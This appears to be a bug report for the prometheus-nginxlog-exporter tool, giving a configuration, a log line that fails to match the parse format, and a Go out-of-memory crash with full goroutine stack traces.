Configuration file (remove section, if not applicable):

listen {
   port = 4040
   address = "0.0.0.0"
}
namespace "test" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $request_time $upstream_response_time $pipe"
  source_files = ["/var/log/test/server1.access.log"]
   labels {
     app = "$1"
     environment = "dev"
   }
    relabel "request_uri" {
        from = "request"
    }
}

Example log file (remove section, if not applicable):

- - [05/Jun/2019:19:06:55 +0000] "GET /test?test=wic3ViIjoiYXV0aDB8NWIxNzc2Y2Q1NWYyMzAyMTY4ZmVlNzM4IiwiYXVkIjoiRjQ3dlFkUGp2aTRXeFJQNHUwSjJFZ1R1bFE3UUV6eHkiLCJpYXQiOjE1NTk3MzE0MzksImV4cCI6MTU1OTc2NzQzOX0.jr-lETFYtPk59j32kMzxK-7ntjFfux3exiOXIEs_RJXGCCzFUR5LXZSvrzyxNYANtIfmFRyC1hFb8B-sXepFuEW-QlOlTwQQNgrlvY1EOqRE-V-hY_dWoLVXCu4QBYxOC0WbqnJhtRDQ8gT--kukinPuNDHzy1irry8-rtLzXfYJM_W-vS0Qpg44h4yrPtyvUk-rQoEjOnVVCzpNP_o6VK3GV6hEK9Ra9OUPfPtQVuOaktQGWiz330hYL8kctHKdrJnpTkS9hhTqf-uM2edAURR0jXW7mhpuNQMDGBULBOhMkKNHsAMQ2X0tdYqG-7pDBhnUU-vs9zXDvJ67DRt75g HTTP/1.1" 101 272 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"' does not match given format '^(?P<remote_addr>[^ ]*) - (?P<remote_user>[^ ]*) \[(?P<time_local>[^]]*)\] "(?P<request>[^"]*)" (?P<status>[^ ]*) (?P<body_bytes_sent>[^ ]*) "(?P<http_referer>[^"]*)" "(?P<http_user_agent>[^"]*)" (?P<request_time>[^ ]*) (?P<upstream_response_time>[^ ]*) (?P<pipe>[^ ]*)'
fatal error: runtime: out of memory

runtime stack:
runtime.throw(0x80b74c, 0x16)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/panic.go:617 +0x72
runtime.sysMap(0xc028000000, 0x4000000, 0xb31e98)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mem_linux.go:170 +0xc7
runtime.(*mheap).sysAlloc(0xb19b60, 0x2000, 0xb19b70, 0x1)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/malloc.go:633 +0x1cd
runtime.(*mheap).grow(0xb19b60, 0x1, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mheap.go:1232 +0x42
runtime.(*mheap).allocSpanLocked(0xb19b60, 0x1, 0xb31ea8, 0xc00001f320)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mheap.go:1150 +0x3a7
runtime.(*mheap).alloc_m(0xb19b60, 0x1, 0xc00015002d, 0x45550b)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mheap.go:977 +0xc2
runtime.(*mheap).alloc.func1()
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mheap.go:1048 +0x4c
runtime.systemstack(0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/asm_amd64.s:351 +0x66
runtime.mstart()
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/proc.go:1153

goroutine 22207 [running]:
runtime.systemstack_switch()
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/asm_amd64.s:311 fp=0xc00f617308 sp=0xc00f617300 pc=0x4572c0
runtime.(*mheap).alloc(0xb19b60, 0x1, 0xc02701002d, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mheap.go:1047 +0x8a fp=0xc00f617358 sp=0xc00f617308 pc=0x42435a
runtime.(*mcentral).grow(0xb1aa20, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mcentral.go:256 +0x95 fp=0xc00f6173a0 sp=0xc00f617358 pc=0x4173c5
runtime.(*mcentral).cacheSpan(0xb1aa20, 0xc0000c3308)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mcentral.go:106 +0x2f0 fp=0xc00f617400 sp=0xc00f6173a0 pc=0x416ee0
runtime.(*mcache).refill(0x7f507261d008, 0x2d)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/mcache.go:135 +0x86 fp=0xc00f617420 sp=0xc00f617400 pc=0x416986
runtime.(*mcache).nextFree(0x7f507261d008, 0xc00046202d, 0x5e878b, 0xc01c1f6024, 0xc010c7d400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/malloc.go:786 +0x88 fp=0xc00f617458 sp=0xc00f617420 pc=0x40b378
runtime.mallocgc(0x1a0, 0x779380, 0xb06d01, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/malloc.go:939 +0x76e fp=0xc00f6174f8 sp=0xc00f617458 pc=0x40bc8e
runtime.makeslice(0x779380, 0x0, 0x182, 0xd)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/slice.go:49 +0x6c fp=0xc00f617528 sp=0xc00f6174f8 pc=0x44268c
github.com/prometheus/common/expfmt.escapeString(0xc012a1f2f1, 0x182, 0x806401, 0x9, 0xc00f617630)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:291 +0x44 fp=0xc00f617598 sp=0xc00f617528 pc=0x71edc4
github.com/prometheus/common/expfmt.labelPairsToText(0xc0125596e0, 0x5, 0x5, 0x0, 0x0, 0x0, 0x0, 0x886700, 0xc00c642a50, 0xc00f6176f8, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:261 +0xfa fp=0xc00f617670 sp=0xc00f617598 pc=0x71e93a
github.com/prometheus/common/expfmt.writeSample(0xc027fed560, 0x2a, 0xc0044d0120, 0x0, 0x0, 0x0, 0x0, 0x3ff0000000000000, 0x886700, 0xc00c642a50, ...)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:212 +0x139 fp=0xc00f617708 sp=0xc00f617670 pc=0x71e559
github.com/prometheus/common/expfmt.MetricFamilyToText(0x886700, 0xc00c642a50, 0xc00947d5e0, 0xa43db8, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/text_create.go:129 +0x14ad fp=0xc00f6179c8 sp=0xc00f617708 pc=0x71decd
github.com/prometheus/common/expfmt.NewEncoder.func4(0xc00947d5e0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:83 +0x3d fp=0xc00f617a08 sp=0xc00f6179c8 pc=0x71f21d
github.com/prometheus/common/expfmt.encoder.Encode(0xc012916ec0, 0xc00947d5e0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/expfmt/encode.go:36 +0x30 fp=0xc00f617a30 sp=0xc00f617a08 pc=0x71c290
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ede8, 0xc011811900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:88 +0x1d1 fp=0xc00f617b20 sp=0xc00f617a30 pc=0x7351b1
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ede8, 0xc011811900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44 fp=0xc00f617b48 sp=0xc00f617b20 pc=0x64b5f4
net/http.Handler.ServeHTTP-fm(0x88d4c0, 0xc00000ede8, 0xc011811900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:86 +0x4d fp=0xc00f617b78 sp=0xc00f617b48 pc=0x67467d
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e700, 0xc011811900)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f fp=0xc00f617c68 sp=0xc00f617b78 pc=0x7359af
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e700, 0xc011811900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44 fp=0xc00f617c90 sp=0xc00f617c68 pc=0x64b5f4
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e700, 0xc011811900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6 fp=0xc00f617cf0 sp=0xc00f617c90 pc=0x64d4c6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e700, 0xc011811900)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab fp=0xc00f617d20 sp=0xc00f617cf0 pc=0x64e33b
net/http.(*conn).serve(0xc00742c500, 0x88ea00, 0xc004c17800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c fp=0xc00f617fc8 sp=0xc00f617d20 pc=0x64a5bc
runtime.goexit()
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/asm_amd64.s:1337 +0x1 fp=0xc00f617fd0 sp=0xc00f617fc8 pc=0x459211
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 1 [IO wait]:
internal/poll.runtime_pollWait(0x7f50703b0f08, 0x72, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2618, 0x72, 0x0, 0x0, 0x805dd4)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitRead(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:92
internal/poll.(*FD).Accept(0xc0000c2600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:384 +0x1ba
net.(*netFD).accept(0xc0000c2600, 0xc00001e070, 0xc00001e000, 0x40ba02)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:238 +0x42
net.(*TCPListener).accept(0xc00000e258, 0xc0004cda50, 0x41c48123, 0x5651d12bbb33400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/tcpsock_posix.go:139 +0x32
net.(*TCPListener).AcceptTCP(0xc00000e258, 0xc0004cda78, 0x4a46a6, 0x5cf8252c)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/tcpsock.go:247 +0x48
net/http.tcpKeepAliveListener.Accept(0xc00000e258, 0xc0004cdac8, 0x18, 0xc000000300, 0x64e814)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3264 +0x2f
net/http.(*Server).Serve(0xc00005f450, 0x88ddc0, 0xc00000e258, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2859 +0x22d
net/http.(*Server).ListenAndServe(0xc00005f450, 0xc00005f450, 0x8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2797 +0xe4
net/http.ListenAndServe(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3037
main.main()
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:189 +0xb23

goroutine 5 [syscall, 281 minutes]:
os/signal.signal_recv(0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/sigqueue.go:139 +0x9c
os/signal.loop()
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/os/signal/signal_unix.go:23 +0x22
created by os/signal.init.0
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/os/signal/signal_unix.go:29 +0x41

goroutine 9 [chan receive, 281 minutes]:
main.main.func1(0xc00004c840, 0xc000056120, 0xc000014900)
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:145 +0x44
created by main.main
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:144 +0x5db

goroutine 25 [sleep]:
runtime.goparkunlock(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/proc.go:307
time.Sleep(0xee6b280)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/time.go:105 +0x159
github.com/hpcloud/tail/watch.(*PollingFileWatcher).ChangeEvents.func1(0xc0000fc9a0, 0xc000086808, 0xc0000fca20, 0x890320, 0xc00005f6c0, 0xc0000fca40)
	/home/travis/gopath/pkg/mod/github.com/hpcloud/[email protected]/watch/polling.go:68 +0x90
created by github.com/hpcloud/tail/watch.(*PollingFileWatcher).ChangeEvents
	/home/travis/gopath/pkg/mod/github.com/hpcloud/[email protected]/watch/polling.go:59 +0x186

goroutine 22 [chan send]:
github.com/hpcloud/tail.(*Tail).sendLine(0xc000086790, 0xc00c2fda40, 0x1dd, 0x0)
	/home/travis/gopath/pkg/mod/github.com/hpcloud/[email protected]/tail.go:418 +0x179
github.com/hpcloud/tail.(*Tail).tailFileSync(0xc000086790)
	/home/travis/gopath/pkg/mod/github.com/hpcloud/[email protected]/tail.go:272 +0x119
created by github.com/hpcloud/tail.TailFile
	/home/travis/gopath/pkg/mod/github.com/hpcloud/[email protected]/tail.go:133 +0x162

goroutine 23 [chan receive, 281 minutes]:
gopkg.in/tomb%2ev1.(*Tomb).Wait(0xc000086808, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/gopkg.in/[email protected]/tomb.go:113 +0x4a
github.com/martin-helmich/prometheus-nginxlog-exporter/tail.(*followerImpl).OnError.func1(0xc0000fc980, 0x820960)
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/tail/tailer.go:62 +0x35
created by github.com/martin-helmich/prometheus-nginxlog-exporter/tail.(*followerImpl).OnError
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/tail/tailer.go:61 +0x49

goroutine 24 [runnable]:
regexp.(*Regexp).FindStringSubmatch(0xc0000c06c0, 0xc00bf635f0, 0x88, 0x170d, 0x3, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/regexp/regexp.go:980 +0x254
github.com/satyrius/gonx.(*Parser).ParseString(0xc0000fc4a0, 0xc00bf635f0, 0x88, 0x5, 0x88f640, 0xc0000c6620)
	/home/travis/gopath/pkg/mod/github.com/satyrius/[email protected]/parser.go:34 +0x63
main.processSourceFile(0xc000014991, 0x9, 0xc000047930, 0x1, 0x1, 0xc0000cc140, 0x9c, 0xc0000118f0, 0xc0000c7d50, 0x1, ...)
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:265 +0x430
created by main.processNamespace
	/home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:246 +0x1b3

goroutine 20970 [IO wait, 15 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0e38, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de218, 0x77, 0x59a00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de200, 0xc01e4f8f6f, 0x6e2b2, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de200, 0xc01e4f8f6f, 0x6e2b2, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000eec0, 0xc01e4f8f6f, 0x6e2b2, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064c80, 0xc01e4f8f6f, 0x6e2b2, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc0132b4c00, 0xc01e4f8f6f, 0x6e2b2, 0x96fa1, 0x1, 0xc000166a80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee818, 0xc01e4f8000, 0x6f221, 0x97f10, 0xc000157898, 0x642e8e, 0xc000064d08)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0132b4d00, 0xc01e4f8000, 0x6f221, 0x97f10, 0x0, 0x0, 0xc0000869a0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee7e0, 0x6f221, 0xc01e4f8000, 0x6f221, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc000157a40, 0x22ebecbc)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee7e0, 0xc01e4f8000, 0x6f221, 0x97f10, 0x77d4c0, 0xc01362f601, 0xc00154a160)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc004f40f50, 0xc01e4f8000, 0x6f221, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000eec8, 0xc004a13400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000eec8, 0xc004a13400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee7e0, 0xc004a13400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee7e0, 0xc004a13400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee7e0, 0xc004a13400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee7e0, 0xc004a13400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064c80, 0x88ea00, 0xc0132b4bc0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 20933 [IO wait, 16 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0d68, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2f18, 0x77, 0x59900, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2f00, 0xc01b6fef6f, 0x6e1ea, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2f00, 0xc01b6fef6f, 0x6e1ea, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e5b0, 0xc01b6fef6f, 0x6e1ea, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064aa0, 0xc01b6fef6f, 0x6e1ea, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01b02fa80, 0xc01b6fef6f, 0x6e1ea, 0x96fa1, 0x1, 0xc000166d80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee2d8, 0xc01b6fe000, 0x6f159, 0x97f10, 0xc000159898, 0x642e8e, 0xc000064b28)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01b02fb40, 0xc01b6fe000, 0x6f159, 0x97f10, 0x0, 0x0, 0xc000086fd0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee2a0, 0x6f159, 0xc01b6fe000, 0x6f159, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc000159a40, 0x9efc3933)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee2a0, 0xc01b6fe000, 0x6f159, 0x97f10, 0x77d4c0, 0xc01307f901, 0xc01de59760)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc018946460, 0xc01b6fe000, 0x6f159, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e5b8, 0xc006756b00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e5b8, 0xc006756b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee2a0, 0xc006756b00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee2a0, 0xc006756b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee2a0, 0xc006756b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee2a0, 0xc006756b00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064aa0, 0x88ea00, 0xc012d96ec0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21155 [IO wait, 12 minutes]:
internal/poll.runtime_pollWait(0x7f50703b03a8, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171def98, 0x77, 0x59f00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171def80, 0xc02109ef6f, 0x6e79d, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171def80, 0xc02109ef6f, 0x6e79d, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e578, 0xc02109ef6f, 0x6e79d, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065180, 0xc02109ef6f, 0x6e79d, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc0196a0580, 0xc02109ef6f, 0x6e79d, 0x96fa1, 0x1, 0xc000167080, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eeb98, 0xc02109e000, 0x6f70c, 0x97f10, 0xc0077bf898, 0x642e8e, 0xc000065208)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0196a0640, 0xc02109e000, 0x6f70c, 0x97f10, 0x0, 0x0, 0x7f506f222758)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eeb60, 0x6f70c, 0xc02109e000, 0x6f70c, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0077bfa40, 0x39ce0ab7)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eeb60, 0xc02109e000, 0x6f70c, 0x97f10, 0x77d4c0, 0xc015a67c01, 0xc003a31340)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc01e617130, 0xc02109e000, 0x6f70c, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e580, 0xc004eb9000)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e580, 0xc004eb9000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eeb60, 0xc004eb9000)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eeb60, 0xc004eb9000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eeb60, 0xc004eb9000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eeb60, 0xc004eb9000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065180, 0x88ea00, 0xc0196a0540)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21422 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4adab0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2c98, 0x77, 0x5aa00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2c80, 0xc024430f6f, 0x6f232, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2c80, 0xc024430f6f, 0x6f232, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
